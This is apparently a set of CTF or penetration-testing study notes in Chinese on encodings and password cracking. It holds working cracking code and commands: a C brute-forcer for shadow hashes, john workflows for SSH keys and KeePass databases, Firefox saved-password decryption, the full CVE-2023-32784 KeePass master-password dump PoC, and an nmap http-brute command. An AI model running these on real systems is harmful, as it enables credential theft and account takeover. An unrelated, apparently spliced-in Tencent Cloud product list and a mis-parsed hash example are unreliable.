文章

加密破解笔记

加密算法识别

https://www.dcode.fr/cipher-identifier

文字翻转

在线工具:http://fuhao.tuwenla.com/6.html

进制转换

16转10Python脚本

# 读取包含十六进制数据的文件
with open('input_hex.txt', 'r') as file:
    hex_data = file.read().replace('\n', '').split(':')
    # 去掉空字符串
    hex_data = [x for x in hex_data if x]

# 将十六进制数据转换为十进制
decimal_data = [int(x, 16) for x in hex_data]

# 将结果写入文件
with open('output_decimal.txt', 'w') as file:
    file.write(', '.join(str(d) for d in decimal_data))

16进制字节码文件 转为 二进制文件

xxd -r -ps README.md > README.2 

#查看文件头确定文件类型
strings  README.2 |head -n 20

二进制转文本

使用ASCII表从ASCII代码获取字符

  • 在线转换工具:
    • http://www.hiencode.com/jinzhi.html
    • https://www.rapidtables.org/zh-CN/convert/number/binary-to-string.html
    • https://study.100xgj.com/binarytostr/
使用[ASCII表](https://www.rapidtables.org/zh-CN/code/text/ascii-table.html)从ASCII代码获取字符。

01010000 2 = 2 6 +2 4 = 64 + 16 = 80 =“ P”
01101100 2 = 2 6 +2 5 +2 3 +2 2 = 64 + 32 + 8 + 4 = 108 =“ l”
01100001 2 = 2 6 +2 5 +2 0 = 64 + 32 + 1 = 97 =“ a”

ASCII表

ascii

Usage: ascii [-adxohv] [-t] [char-alias...]
   -t = one-line output  -a = vertical format
   -d = Decimal table  -o = octal table  -x = hex table  -b binary table
   -h = This help screen -v = version information
Prints all aliases of an ASCII character. Args may be chars, C \-escapes,
English names, ^-escapes, ASCII mnemonics, or numerics in decimal/octal/hex.

Dec Hex    Dec Hex    Dec Hex  Dec Hex  Dec Hex  Dec Hex   Dec Hex   Dec Hex  
 0 00 NUL  16 10 DLE  32 20    48 30 0  64 40 @  80 50 P   96 60 `  112 70 p
 1 01 SOH  17 11 DC1  33 21 !  49 31 1  65 41 A  81 51 Q   97 61 a  113 71 q
 2 02 STX  18 12 DC2  34 22 "  50 32 2  66 42 B  82 52 R   98 62 b  114 72 r
 3 03 ETX  19 13 DC3  35 23 #  51 33 3  67 43 C  83 53 S   99 63 c  115 73 s
 4 04 EOT  20 14 DC4  36 24 $  52 34 4  68 44 D  84 54 T  100 64 d  116 74 t
 5 05 ENQ  21 15 NAK  37 25 %  53 35 5  69 45 E  85 55 U  101 65 e  117 75 u
 6 06 ACK  22 16 SYN  38 26 &  54 36 6  70 46 F  86 56 V  102 66 f  118 76 v
 7 07 BEL  23 17 ETB  39 27 '  55 37 7  71 47 G  87 57 W  103 67 g  119 77 w
 8 08 BS   24 18 CAN  40 28 (  56 38 8  72 48 H  88 58 X  104 68 h  120 78 x
 9 09 HT   25 19 EM   41 29 )  57 39 9  73 49 I  89 59 Y  105 69 i  121 79 y
10 0A LF   26 1A SUB  42 2A *  58 3A :  74 4A J  90 5A Z  106 6A j  122 7A z
11 0B VT   27 1B ESC  43 2B +  59 3B ;  75 4B K  91 5B [  107 6B k  123 7B {
12 0C FF   28 1C FS   44 2C ,  60 3C <  76 4C L  92 5C \  108 6C l  124 7C |
13 0D CR   29 1D GS   45 2D -  61 3D =  77 4D M  93 5D ]  109 6D m  125 7D }
14 0E SO   30 1E RS   46 2E .  62 3E >  78 4E N  94 5E ^  110 6E n  126 7E ~
15 0F SI   31 1F US   47 2F /  63 3F ?  79 4F O  95 5F _  111 6F o  127 7F DEL

ascii-xfr

ascii-xfr 是一个用于在串行端口之间传输文件的实用工具。它允许你通过串行连接发送和接收文件,其主要作用是在不同系统之间传输文本文件,通常是通过串口进行传输。

下面是各个选项的用途:

  • -s:表示发送数据。
  • -r:表示接收数据。
  • -e:表示发送文件结束符(默认情况下不发送文件结束符)。
  • -d:设置文件结束符为 Control-D(默认是 Control-Z)。
  • -v:显示详细的统计信息(会输出到标准错误流)。
  • -n:不进行 CRLF(回车换行)和 LF(换行)之间的转换。
  • -l linedelay:设置行之间的延迟,单位为毫秒。
  • -c character delay:设置字符之间的延迟,单位为毫秒。

shadow密文破解

/etc/passwd 文件使用 “:” 作为分隔符,每个字段的含义如下:

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

shadow文件加密的密码具有固定格式:

$id$salt$encrypted

- id:表示加密算法
    - $1 代表 MD5
    - $2 代表 Blowfish
    - $5 代表 SHA-256
    - $6 代表 SHA-512
- salt:表示密码学中的 Salt(盐),由系统随机生成 。
- encrypted:表示密码的 hash。

例如:
root:$6$TBFgG/seGvOG8nOp$LvZXXXXXXXENV2F6SEATplyE1QY33W2buEs10XLi.zQD8iwl.kCwsD.OMQ6WWkmUdu/9RPLHvLYSzMfcLj0

id=6,即使用SHA-512哈希算法
salt=TBFgG
encrypted=seGvOG8nOp$LvZXXXXXXXENV2F6SEATplyE1QY33W2buEs10XLi.zQD8iwl.kCwsD.OMQ6WWkmUdu/9RPLHvLYSzMfcLj0

方法1:直接使用 john 去破解 shadow 文件:

//安装John the Ripper
sudo apt install john    

//暴力破解获取的shadow文件中的账号密码
sudo john shadow.txt --wordlist=/usr/share/wordlists/rockyou.txt

方法2:直接代码暴力破解

descarck.c

//编译选项:gcc -O3 descrack.c -lcrypt -o descrack
#define _XOPEN_SOURCE /* See feature_test_macros(7) */
#include <unistd.h>
#include <stdio.h>
#include <crypt.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#include <time.h>char data[37] = "0123456789abcdefghijklmnopqrstuvwxyz";
//待解密的密文
char * goalPass = "$1$abcde$LULigrJwcdszq2ReOX7bG/";
//存储遍历的明文
char mypwd[10];
//最短的密码长度
int minlen = 1; 
//最长的密码长度
int maxlen = 6; 
//当前时间
time_t global_start;void subgenerate(int index, int pwdlen)
{if (index == pwdlen)return;int i;for (i = 0; i < 36; i++){mypwd[index] = data[i];memset(mypwd + index + 1, data[0], pwdlen- index -1);if (i != 0){//printf("%s      ",mypwd);//strcmp:相等则返回0,!0让程序输出退出if (!strcmp(goalPass, crypt(mypwd, "$1$abcde$"))){printf("当前程序花费的时间: %ld (秒)\n",(time(NULL) - global_start));printf("解密后的明文密码是:%s\n", mypwd);exit(0);}}subgenerate(index + 1, pwdlen);}
}void generate(int pwdlen, int start, int end)
{int i;// 多线程可分段for (i = start; i < end; i++) {mypwd[0] = data[i];//填充长度memset(mypwd + 1, data[0], pwdlen-1); //printf("%s      ",mypwd);if (!strcmp(goalPass, crypt(mypwd, "$1$abcde$"))){printf("当前程序花费的时间: %ld (秒)\n",(time(NULL) - global_start));printf("解密后的明文密码是:%s\n", mypwd);exit(0);}subgenerate(1, pwdlen);}
}int main()
{//赋值为当前时间global_start = time(NULL);char mypwd[10];int i,threadnum = 10;for (i = minlen; i <= maxlen; i++){printf("当前破解密码的长度:%d\n", i);//password lengthmemset(mypwd, 0, 10);//留作多线程generate(i,0,36); printf("当前程序花费的时间: %ld (秒)\n",(time(NULL) - global_start));}puts("在指定的范围内没有找到正确的密码");return 0;
}

使用 unshadow 命令合并 passwd 和 shadow 文件

unshadow [passwd-file][shadow-file] > unshadowed.txt

SSH秘钥

SSH(Secure Shell)是一种网络通信协议,用于在不安全的网络上进行加密数据传输。
私钥(Private Key)是与公钥(Public Key)相对应的密钥之一,用于身份认证、加密和解密等操作。

公钥

强制解码获取用户名

1、将私钥的第一行和最后一行无用内容去掉
2、将私钥内容调整为一行内容并保存为文件
3、运行命令进行解码 cat rsa.txt|base64 -d
4、在输出的最后面会有类似 admin@localhost 字样的部分,即是用户名

私钥

1.根据需求选择合适的编程语言和库来处理私钥解码过程。
这里提供Python示例代码来展示如何使用OpenSSL库来解码SSH私钥:

import OpenSSL
from cryptography import x509
from cryptography.hazmat.primitives import serialization

# 从PEM格式的私钥文件中获取私钥字节流
with open('private_key.pem', 'rb') as keyfile:
    pkcs8 = keyfile.read()

# 将PKCS #8格式的私钥转换成RSA私钥对象
rsa_private_key = serialization.load_der_private_key(pkcs8)

# 将RSA私钥对象序列化为PEM格式并保存到新文件中
pem_data = rsa_private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=None).decode("utf-8")
with open('decoded_private_key.pem', 'wb') as decrypted_keyfile:
    decrypted_keyfile.write(pem_data.encode())

SSH私钥加密破解

1、使用ssh2john.py将密钥信息转换为john可识别信息
python /usr/share/john/ssh2john.py id_rsa > rsacrack
ssh2john id_rsa > rsacrack

2、解密转化后可识别信息
john rsacrack

XOR计算

一、含义

XOR 是 exclusive OR 的缩写。英语的 exclusive 意思是"专有的,独有的”,可以理解为 XOR 是更单纯的 OR 运算。

我们知道,OR 运算的运算子有两种情况,计算结果为true

(1)一个为 true,另一个为 false;
(2)两个都为 true。

上面两种情况,有时候需要明确区分,所以引入了 XOR。

XOR 排除了第二种情况,只有第一种情况(一个运算子为true,另一个为false)才会返回 true,所以可以看成是更单纯的 OR 运算。也就是说, XOR 主要用来判断两个值是否不同。

XOR 一般使用插入符号(caret)^表示。如果约定0 为 false,1 为 true,那么 XOR 的运算真值表如下。

0 ^ 0 = 0
0 ^ 1 = 1
1 ^ 0 = 1
1 ^ 1 = 0

二、运算定律

XOR 运算有以下的运算定律。由于非常简单,这里就省略证明了。

(1)一个值与自身的运算,总是为 false。

x ^ x = 0

(2)一个值与 0 的运算,总是等于其本身。

 x ^ 0 = x

(3)可交换性

x ^ y = y ^ x

(4)结合性

x ^ (y ^ z) = (x ^ y) ^ z

三、应用

根据上面的这些运算定律,可以得到异或运算的很多重要应用。

3.1 简化计算

多个值的异或运算,可以根据运算定律进行简化。

> a ^ b ^ c ^ a ^ b
= a ^ a ^ b ^ b ^ c
= 0 ^ 0 ^ c
= c

3.2 交换值

两个变量连续进行三次异或运算,可以互相交换值。

假设两个变量是xy,各自的值是ab。下面就是xy进行三次异或运算,注释部分是每次运算后两个变量的值。

x = x ^ y // (a ^ b, b)
y = x ^ y // (a ^ b, a ^ b ^ b) => (a ^ b, a)
x = x ^ y // (a ^ b ^ a, a) => (b, a)

这是两个变量交换值的最快方法,不需要任何额外的空间。

3.3 加密

异或运算可以用于加密。

第一步,明文(text)与密钥(key)进行异或运算,可以得到密文(cipherText)。

text ^ key = cipherText

第二步,密文与密钥再次进行异或运算,就可以还原成明文。

cipherText ^ key = text

原理很简单,如果明文是 x,密钥是 y,那么 x 连续与 y 进行两次异或运算,得到自身。

(x ^ y) ^ y
= x ^ (y ^ y)
= x ^ 0
= x

3.4 数据备份

异或运算可以用于数据备份。

文件 x 和文件 y 进行异或运算,产生一个备份文件 z。

x ^ y = z

以后,无论是文件 x 或文件 y 损坏,只要不是两个原始文件同时损坏,就能根据另一个文件和备份文件,进行还原。

x ^ z
= x ^ (x ^ y) 
= (x ^ x) ^ y
= 0 ^ y
= y

上面的例子是 y 损坏,x 和 z 进行异或运算,就能得到 y。

五、参考链接

Foxfire本地保存密码破解

使用 firefox_decrypt 工具进行解密:

git clone https://github.com/unode/firefox_decrypt.git
python3 firefox_decrypt.py /root/Downloads/.mozilla/firefox

破解 KeePass的.kdbx

.kdbx 文件由KeePass Password Safe创建,这是Windows的免费密码管理器;存储密码的加密数据库,该数据库只能使用用户设置的主密码查看;用于安全存储Windows、电子邮件帐户、FTP站点、电子商务站点和其他用途的个人登录凭据。

1、将 Passwords.kdbx 内容转为 john 支持的格式:

keepass2john Passwords.kdbx > hash.txt

2、然后使用 john 破解:

john --wordlist=rockyou.txt hash.txt

CVE-2023-32784

利用:# KeePass 2.X Master Password Dumper

使用:python3 poc.py -d keepass.DMP

源码:

import argparse
import logging
import itertools

class TaggedFormatter(logging.Formatter):

    TAGS = {
        'DEBUG': '\x1b[1;35m#\x1b[0m',
        'INFO': '\x1b[1;34m.\x1b[0m',
        'WARNING': '\x1b[1;33m-\x1b[0m',
        'ERROR': '\x1b[1;31m!\x1b[0m',
        'CRITICAL': '\x1b[1;31m!!\x1b[0m'
    }

    def __init__(self, format):
        logging.Formatter.__init__(self, format)

    def format(self, record):
        levelname = record.levelname

        if levelname in self.TAGS:
            record.levelname = self.TAGS[levelname]

        return logging.Formatter.format(self, record)


def setup_logging(debug = False):
    formatter = TaggedFormatter('%(asctime)s [%(levelname)s] [%(name)s] %(message)s')
    handler = logging.StreamHandler()
    root_logger = logging.getLogger()

    handler.setFormatter(formatter)
    root_logger.addHandler(handler)

    if debug:
        root_logger.setLevel(logging.DEBUG)
    else:
        root_logger.setLevel(logging.INFO)


def parse_args():
    parser = argparse.ArgumentParser(description='CVE-2023-32784 proof-of-concept')

    parser.add_argument('dump', type=str, help='The path of the memory dump to analyze')
    parser.add_argument('-d', '--debug', dest='debug', action='store_true', help='Enable debugging mode')

    return parser.parse_args()


def get_candidates(dump_file):
    data = dump_file.read()
    candidates = []
    str_len = 0
    i = 0

    while i < len(data)-1:
        if (data[i] == 0xCF) and (data[i + 1] == 0x25):
            str_len += 1
            i += 1
        elif str_len > 0:
            if (data[i] >= 0x20) and (data[i] <= 0x7E) and (data[i + 1] == 0x00):
                candidate = (str_len * b'\xCF\x25') + bytes([data[i], data[i + 1]])

                if not candidate in candidates:
                    candidates.append(candidate)

            str_len = 0

        i += 1

    return candidates


if __name__ == '__main__':
    args = parse_args()
    setup_logging(args.debug)
    logger = logging.getLogger('main')

    with open(args.dump, 'rb') as dump_file:
        logger.info(f'Opened {dump_file.name}')

        candidates = get_candidates(dump_file)
        candidates = [x.decode('utf-16-le') for x in candidates]
        groups = [[] for i in range(max([len(i) for i in candidates]))]

        for candidate in candidates:
            groups[len(candidate) - 1].append(candidate[-1])

        for i in range(len(groups)):
            if len(groups[i]) == 0:
                groups[i].append(b'\xCF\x25'.decode('utf-16-le'))

        for password in itertools.product(*groups):
            password = ''.join(password)
            print(f'Possible password: {password}')

微信聊天记录提取

工具:WeChatMsg

项目地址:https://github.com/LC044/WeChatMsg

leet-speak

leet-speak(也称为1337-speak)是一种将英文字符替换为数字和特殊符号的编码方式,常用于互联网和游戏社区中。它起源于计算机黑客文化,旨在隐藏信息、增加隐秘性和展示技术能力。

leet-speak的转换规则如下:

  • A或a替换为4
  • E或e替换为3
  • I或i替换为1
  • O或o替换为0
  • S或s替换为5
  • T或t替换为7

以下是一个示例:

将leet-speak转换为明文:H3ll0 W0rld!

在这个例子中,leet-speak中的"H3ll0 W0rld!“可以转换为"Hello World!“。

leet-speak的应用场景包括:

  1. 游戏社区:在游戏社区中,玩家可能使用leet-speak来增加他们的游戏角色名字的独特性和个性化。
  2. 聊天室和论坛:有时人们会在聊天室和论坛中使用leet-speak来增加他们的消息的隐秘性和独特性。
  3. 编程和安全领域:leet-speak的转换规则与编程和安全领域中常用的字符替换技术相关,因此在这些领域中也可能会遇到leet-speak。

腾讯云提供了一系列与云计算相关的产品,其中包括:

  1. 云服务器(ECS):提供可扩展的计算能力,用于部署和运行应用程序。
  2. 云数据库(CDB):提供可靠的数据库解决方案,包括关系型数据库和NoSQL数据库。
  3. 云存储(COS):提供高可用性和可扩展性的对象存储服务,用于存储和管理大规模数据。
  4. 人工智能(AI):提供各种人工智能服务,包括图像识别、语音识别、自然语言处理等。
  5. 物联网(IoT):提供物联网平台和解决方案,用于连接和管理物联网设备。
  6. 区块链(BCS):提供区块链服务,用于构建和管理分布式应用程序和数字资产。
  7. 多媒体处理(MPS):提供多媒体处理服务,包括音视频转码、内容审核等。

在线转换:
Leetspeak Converter

nmap 破解Web页面密码

nmap --script=http-brute -p80 192.168.56.110
License:  CC BY 4.0